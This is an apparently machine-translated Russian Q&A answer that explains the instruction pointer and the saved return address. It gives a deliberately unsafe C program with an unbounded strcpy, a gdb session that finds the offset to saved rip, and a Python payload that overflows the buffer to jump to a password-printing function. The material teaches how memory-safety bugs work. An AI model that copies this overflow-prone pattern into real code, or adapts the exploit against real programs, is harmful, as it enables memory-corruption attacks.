указатель инструкций обычно представляет собой регистр (память) микропроцессора, который увеличивается на 4 (4 байтов) для 32-разрядной системы и 8 (т. е. 8 байтов) для 64-разрядной системы, чтобы она указывала на следующую инструкцию.
Когда программа входит в функцию, сохраненный указатель инструкции (ip / rip / eip) является адресом возврата, который является адресом, по которому функция должна вернуться назад после завершения.
Из того, что сказано в книге, каждый адрес памяти имеет один байт, и каждый байт имеет адрес памяти.
Это похоже на 8-битный компьютер, что не является нашей обычной реальной ситуацией. Если мы посмотрим на определенную программу, например:
#include <stdio.h>
#include <string.h>
char * pwd = "pwd0";
void print_my_pwd() {
printf("your pwd is: %s\n", pwd);
}
int check_pwd(char * uname, char * upwd) {
char name[8];
strcpy(name, uname);
if (strcmp(pwd, upwd)) {
printf("non authorized\n");
return 1;
}
printf("authorized\n");
return 0;
}
int main(int argc, char ** argv) {
check_pwd(argv[1], argv[2]);
return 0;
}
Я могу собрать его и изучить с помощью gdb.
$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12 strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
called by frame at 0x7fffffffd6f0
source language c.
Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
Saved registers:
rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
Вы видите выше, что saved rip
(указатель инструкции) находится в 0x7fffffffd6c8
со значением 0x5555555547ef
(важное различие между тем, где он находится, и тем, что он есть). Я могу намеренно переполнить программу, чтобы перезаписать это значение чем-то еще, что я знаю:
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
Теперь я знаю расстояние между name
и rip
(не значениями, а их местоположениями): 0x7fffffffd6c8 - 0x7fffffffd6b8 = 16. Итак, я записываю 16 байтов в местоположение name
, так что я запишу значение rip
, и то, что я пишу, является расположение print_my_pwd
, которое равно UUUUG:
и наоборот, потому что это компьютер с прямым порядком байтов:
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$
Как видите, ввод вызвал переполнение и перезаписал значение указателя инструкции, а также заставил указатель инструкции перейти к местоположению функции, которая печатает пароль.
Не пишите такой код в реальной жизни, но, надеюсь, он поможет понять, как он работает, и не работает, если вы не проверяете границы своего ввода.
person
Niklas R.
schedule
04.11.2019